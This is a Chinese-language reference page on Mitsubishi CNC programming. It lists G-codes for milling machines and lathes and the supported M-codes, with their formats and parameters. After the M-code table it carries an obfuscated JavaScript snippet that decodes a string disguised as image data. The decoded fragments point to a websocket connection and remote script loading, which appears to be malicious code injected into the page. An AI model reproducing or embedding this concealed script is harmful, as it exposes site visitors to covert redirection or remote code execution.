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三菱数控指令格式
G指令
1)三菱系统数控铣床和加工中心
代码 分组 意义 格式
G00 01 快速进给、定位 G00 X-- Y-- Z--
G01 直线插补 G01 X-- Y-- Z—F--
G02 圆弧插补CW(顺时针) G02(G03) X—Y—I—J—F--;G02(G03) X—Y—R—F--;
G03 圆弧插补CCW(逆时针)
G04 00 暂停 G04 X_;或G04 P_;单位:秒
G15 17 取消极坐标指令 G15 取消极坐标方式
G16 极坐标指令 G1x; 极坐标指令的平面选择(G17,G18,G19)G16; 开始极坐标指令G9x G01 X_Y_ 极坐标指令:G90指定工件坐标系的零点为极坐标的原点G91指定当前位置作为极坐标的原点
G17 02 XY平面 G17选择XY平面;G18选择XZ平面;G19选择YZ平面。
G18 ZX平面
G19 YZ平面
G20 06 英制指令
G21 公制指令
G28 00 回归参考点 G28 X-- Y-- Z--
G29 由参考点回归 G29 X-- Y-- Z--
G40 07 刀具半径补偿取消 G40
G41 左半径补偿
G42 右半径补偿
G43 08 刀具长度补偿+
G44 刀具长度补偿-
G49 刀具长度补偿取消 G49
G50 11 比例缩放取消 G50; 缩放取消
G51 比例缩放 G51 X_Y_Z_P_;缩放开始X_Y_Z_:比例缩放中心坐标P_:比例缩放倍率
G52 00 局部坐标系设定 G54(G54~G59) G52 X_Y_Z_;设定局部坐标系G52 X0 Y0 Z0;取消局部坐标系
G54 14 选择工作坐标系1 GXX
G55 选择工作坐标系2
G56 选择工作坐标系3
G57 选择工作坐标系4
G58 选择工作坐标系5
G59 选择工作坐标系6
G68 16 坐标回转 Gn G68 α_ β_R_:坐标系开始旋转Gn :平面选择码α_ β_:回转中心的坐标值R_:回转角度最小输入增量单位:0.001deg有效数据范围:-360.000到360.000
G69 坐标回转取消 G69:坐标轴旋转取消指令
G8Δ(G7Δ) 标准固定循环 G8Δ(G7Δ)X_Y_Z_R_Q_P_F_L_S_,S_,I_,J_;G8Δ(G7Δ)X_Y_Z_R_Q_P_F_L_S_,R_,I_,J_;G8Δ(G7Δ):孔加工模式X_Y_Z_:孔位置资料R_Q_P_F_:孔加工资料L_:重复次数S_:主轴旋转速度,S_,R_ :同期切换或是复位时的主轴旋转速度,I_:位置定位轴定位宽度,J_;钻孔轴定位宽度
G73 09 步进循环 G73 X-- Y-- Z-- Q-- R-- F— P-, I-, J-;P:暂停指定
G74 反向攻牙 G74 X-- Y-- Z-- R-- P—R(or S1,S2)--, I-, J-;P:暂停指定
G76 精搪孔 G76 X-- Y-- Z-- R-- I— J-- F--;
G80 固定循环取消 G80;固定循环取消
G81 钻孔、铅孔 G81 X-- Y-- Z-- R-- F—, I-, J-;
G82 钻孔、计数式搪孔 G82 X-- Y-- Z-- R-- F— P-, I-, J-;P:暂停指定
G83 深孔钻循环 G83 X-- Y-- Z-- R—Q-- F—, I-, J-;Q: 每次切削量的指定,通常以增量值来指定
G84 攻牙循环 G84 X-- Y-- Z-- R—F—P--R(or S1,S2)--, I-, J-;P: 暂停指定
G85 搪孔 G85 X-- Y-- Z-- R--F--, I-, J-;
G86 搪孔 G86 X-- Y-- Z-- R--F--P-;
G87 反向搪孔 G87 X-- Y-- Z-- R-- I-J-F--;
G88 搪孔 G88 X-- Y-- Z-- R--F—P--;
G89 搪孔 G89 X-- Y-- Z-- R--F—P--;
G90 03 绝对值指定 GXX
G91 增量值指定
G92 00 主轴钳制速度设定 G92 Ss Qq ;Ss:最高钳制转速Qq:最低钳制转速
G98 10 起始点基准复位 GXX
G99 R点基准复位
2)三菱系统数控车床
代码 分组 意义 格式
G00 01 快速进给、定位 G00 X-- Z--
G01 直线插补 G01 X-- Z--
G02 圆弧插补CW(顺时针)
G03 圆弧插补CCW(逆时针)
G04 00 暂停 G04 X/U_;或G04 P_;单位:秒
G20 06 英制指令
G21 公制指令
G28 0 回归参考点 G28 X-- Z--
G29 由参考点回归 G29 X-- Z--
G33 01 螺纹切削(等螺距) G33 Z/W…X/U…F… Q… (普通螺纹切削指令) F为长轴方向螺距,Q螺纹开始的偏移角度,0.001~360.000°。G33 Z…W…X/U…E… Q…(精密螺纹切削指令) E为长轴方向螺距,Q螺纹开始的偏移角度,0.001~360.000°。G33 Z/W…X/U…E… Q…(英制螺纹切削) E为长轴方向1英寸相当于几个螺距个数,Q螺纹切削开始的偏移角度,0.001~360.000°。
G40 07 刀径补偿取消 G40
G41 左半径补偿
G42 右半径补偿
G52 局部坐标系设定 G52 X-- Z--
G54 12 选择工作坐标系1 GXX
G55 选择工作坐标系2
G56 选择工作坐标系3
G57 选择工作坐标系4
G58 选择工作坐标系5
G59 选择工作坐标系6
G70 00 精车削加工循环 G70 A_ P_ Q_;
G71 直线粗车循环 G71 Ud Re G71 Aa Pp Qq Uu Ww Ff Ss Tt;d:切深量e:退刀量a: 加工路径的程式编号p:加工路径的开始顺序编号q:加工路径的终了顺序编号u:X轴方向的预留量w:Z轴方向的预留量f: 切削速度s: 主轴速度t: 刀具指令
G72 端面粗车循环 G72 Wd ReG72 Aa Pp Qq Uu Ww Ff Ss Tt;d:切深量e:退刀量a: 加工路径的程式编号p:加工路径的开始顺序编号q:加工路径的终了顺序编号u:X轴方向的预留量w:Z轴方向的预留量f: 切削速度s: 主轴速度t: 刀具指令
G73 精加工循环切削 G73 Ui Wk Rd;G73 Aa Pp Qq Ww Ff Ss Tt;Ui: X轴方向切削预留量Wk: Z轴方向切削预留量Rd: 分割次数Aa:加工路径的程式编号Pp:加工路径的开始顺序编号Qq:加工路径的终了顺序编号Uu:X轴方向的预留量uWw: Z轴方向的预留量wFf: 切削速度Ss: 主轴速度Tt: 刀具选择
G74 端面车削循环 G74 Re;G74 X(U)_Z(W)_Pi Qk Rd Ff;e:退回量i:刀具的偏移量k:切削量d:切削底端刀具的逃离量f:进给速度
G75 直线切削循环 G75 Re;G75 X(U)_Z(W)_Pi Qk Rd Ff;e:退回量i:切削量k: 刀具的偏移量d:在切削底端的逃离量f:进给速度
G76 螺纹切削复合循环 G76 P(m) (r) (a) R(d);G76 X(u)_Z(W)_R(i) P(k)Q(Δd)F(l);m:切削次数00~99r:倒角量00~99a:刀尖的角度(螺纹角度)00~99。0�0�2~90�0�2的角度以1�0�2为单位指定。m,r,a;可用位址P指定d:预留量i:螺纹的斜度(当I=0时为直线螺纹)k:螺纹的高度(螺牙的高度用正的半径值表示)Δd:切削量(第一次的切削量是正的半径值指令)l:螺纹螺距
G77 纵向固定循环切削 G77 X/U_Z/W_F_;(直线切削)G77 X/U_Z/W_R_F_;(斜度切削)R:斜度的深度(半径指定增量值,符号要指定)
G78 螺纹切削固定循环 G78 X/U_Z/W_F/E_;(直线螺纹切削)G78 X/U_Z/W_R_F/E_;(斜度螺纹切削)R:斜度的深度(半径指定增量值,符号要指定)
G79 端面固定循环车削 G79 X/U_Z/W_F_;(直线切削)G79 X/U_Z/W_R_F_;(斜度切削)R:斜度的深度(半径指定增量值,符号要指定)
G92 主轴钳位速度设定 G92 Ss Qq;Ss: 最低钳制转速Qq :最高钳制转速
G94 每分钟进给 单位:mm/分(非同期进给)
G95 每转进给 单位:mm/转(同期进给)
支持的M代码
代码 意义 格式 备注
M00 程序停止 M00 用M00停止程序的执行;按“启动”键加工继续执行
M01 选择性停止 M01 与M00一样,但仅在出现专门信号后才生效
M02 程序结束 M02 在程序的最后一段被写入
M03 主轴顺时针旋转 M03
M04 主轴逆时针旋转 M04
M05 主轴停转 M05
M06 换刀指令(铣床) M06 T_ 在机床数据有效时用M6更换刀具,其他情况下用T指令进行
M30 程序结束且返回程序开头 M30 在程序的最后一段被写入
M98 副程式呼叫 M98 P_ H_ L_; P_:指定副程式的程式编号H_:指定副程式中,开始执行的顺序编号L_:副程式重复执行次数
M99 副程式结束 M99 P_; P_:指定副程式结束后,返回呼叫程式的顺序编号
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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